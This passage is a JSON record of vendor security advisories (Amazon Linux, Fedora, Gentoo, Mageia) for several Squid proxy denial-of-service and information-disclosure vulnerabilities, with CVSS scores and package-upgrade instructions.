"CVE-2021-33620", "CVE-2022-41317"], "modified": "2023-02-23T01:35:00", "id": "ALAS-2023-1687", "href": "https://alas.aws.amazon.com/ALAS-2023-1687.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2023-02-22T23:10:32", "description": "**Issue Overview:**\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a buffer-management bug, it allows a denial of service. When resolving a request with the urn: scheme, the parser leaks a small amount of memory. However, there is an unspecified attack methodology that can easily trigger a large amount of memory consumption. (CVE-2021-28651)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to incorrect parser validation, it allows a Denial of Service attack against the Cache Manager API. This allows a trusted client to trigger memory leaks that. over time, lead to a Denial of Service via an unspecified short query string. This attack is limited to clients with Cache Manager API access privilege. (CVE-2021-28652)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing. (CVE-2021-31806)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent. (CVE-2021-31807)\n\nAn issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to an input-validation bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy). A client sends an HTTP Range request to trigger this. (CVE-2021-31808)\n\nSquid before 4.15 and 5.x before 5.0.6 allows remote servers to cause a denial of service (affecting availability to all clients) via an HTTP response. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent by the server. (CVE-2021-33620)\n\nA flaw was found in squid. A trusted client can directly access the cache manager information, bypassing the manager ACL protection and resulting in information disclosure. (CVE-2022-41317)\n\n \n**Affected Packages:** \n\n\nsquid\n\n \n**Issue Correction:** \nRun _yum update squid_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.2.aarch64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.2.aarch64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.2.aarch64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.2.aarch64 \n \n i686: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.2.i686 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.2.i686 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.2.i686 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.2.i686 \n \n src: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.2.src \n \n x86_64: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.2.x86_64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.2.x86_64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.2.x86_64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.2.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2021-28651](<https://access.redhat.com/security/cve/CVE-2021-28651>), [CVE-2021-28652](<https://access.redhat.com/security/cve/CVE-2021-28652>), [CVE-2021-31806](<https://access.redhat.com/security/cve/CVE-2021-31806>), [CVE-2021-31807](<https://access.redhat.com/security/cve/CVE-2021-31807>), [CVE-2021-31808](<https://access.redhat.com/security/cve/CVE-2021-31808>), [CVE-2021-33620](<https://access.redhat.com/security/cve/CVE-2021-33620>), [CVE-2022-41317](<https://access.redhat.com/security/cve/CVE-2022-41317>)\n\nMitre: [CVE-2021-28651](<https://vulners.com/cve/CVE-2021-28651>), [CVE-2021-28652](<https://vulners.com/cve/CVE-2021-28652>), [CVE-2021-31806](<https://vulners.com/cve/CVE-2021-31806>), [CVE-2021-31807](<https://vulners.com/cve/CVE-2021-31807>), [CVE-2021-31808](<https://vulners.com/cve/CVE-2021-31808>), [CVE-2021-33620](<https://vulners.com/cve/CVE-2021-33620>), [CVE-2022-41317](<https://vulners.com/cve/CVE-2022-41317>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-02-17T00:11:00", "type": "amazon", "title": "Medium: squid", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620", "CVE-2022-41317"], "modified": "2023-02-22T01:52:00", "id": "ALAS2-2023-1950", "href": "https://alas.aws.amazon.com/AL2/ALAS-2023-1950.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "fedora": [{"lastseen": "2021-07-28T14:46:52", "description": "Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DNS lookups, supports non-blocking DNS lookups, and implements negative caching of failed requests. Squid consists of a main server program squid, a Domain Name System lookup program (dnsserver), a program for retrieving FTP data (ftpget), and some management and client tools. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-11T01:16:02", "type": "fedora", "title": "[SECURITY] Fedora 34 Update: squid-5.0.6-1.fc34", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-11T01:16:02", "id": "FEDORA:CC54030AE7DD", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/LSQ3U54ZCNXR44QRPW3AV2VCS6K3TKCF/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-07-28T14:46:52", "description": "Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DNS lookups, supports non-blocking DNS lookups, and implements negative caching of failed requests. Squid consists of a main server program squid, a Domain Name System lookup program (dnsserver), a program for retrieving FTP data (ftpget), and some management and client tools. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-11T01:20:16", "type": "fedora", "title": "[SECURITY] Fedora 33 Update: squid-4.15-1.fc33", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-11T01:20:16", "id": "FEDORA:C4C0D3091C28", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/T4EPIWUZDJAXADDHVOPKRBTQHPBR6H66/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "gentoo": [{"lastseen": "2022-01-17T18:59:20", "description": "### Background\n\nSquid is a full-featured Web proxy cache designed to run on Unix systems. It supports proxying and caching of HTTP, FTP, and other URLs, as well as SSL support, cache hierarchies, transparent caching, access control lists and many other features. \n\n### Description\n\nMultiple vulnerabilities have been discovered in Squid. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA remote attacker could send a specially crafted request, possibly resulting in a Denial of Service condition or information leak. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Squid users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-proxy/squid-4.15\"", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 8.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 4.0}, "published": "2021-05-26T00:00:00", "type": "gentoo", "title": "Squid: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25097", "CVE-2021-28116", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808"], "modified": "2021-05-26T00:00:00", "id": "GLSA-202105-14", "href": "https://security.gentoo.org/glsa/202105-14", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "mageia": [{"lastseen": "2022-04-18T11:19:35", "description": "Updated squid packages fix security vulnerabilities: Due to improper input validation Squid is vulnerable to an HTTP Request Smuggling attack. This problem allows a trusted client to perform HTTP Request Smuggling and access services otherwise forbidden by Squid security controls (CVE-2020-25097). Joshua Rogers discovered that Squid incorrectly handled requests with the urn: scheme. A remote attacker could possibly use this issue to causeSquid to consume resources, leading to a denial of service (CVE-2021-28651). Joshua Rogers discovered that Squid incorrectly handled requests to the Cache Manager API. A remote attacker with access privileges could possibly use this issue to cause Squid to consume resources, leading to a denial of service (CVE-2021-28652). Joshua Rogers discovered that Squid incorrectly handled certain response headers. A remote attacker could possibly use this issue to cause Squid to crash, resulting in a denial of service (CVE-2021-28662). Joshua Rogers discovered that Squid incorrectly handled range request processing. A remote attacker could possibly use this issue to cause Squid to crash, resulting in a denial of service (CVE-2021-31806, CVE-2021-31807, CVE-2021-31808). Joshua Rogers discovered that Squid incorrectly handled certain HTTP responses. A remote attacker could possibly use this issue to cause Squid to crash, resulting in a denial of service (CVE-2021-33620). The squid package has been updated to version 4.15, fixing theese issues and other bugs. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 8.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.0}, "published": "2021-06-08T16:46:03", "type": "mageia", "title": "Updated squid packages fix security vulnerabilities\n", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25097", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-06-08T16:46:03", "id": "MGASA-2021-0237", "href": "https://advisories.mageia.org/MGASA-2021-0237.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}]}
Denial Of Service (DoS)
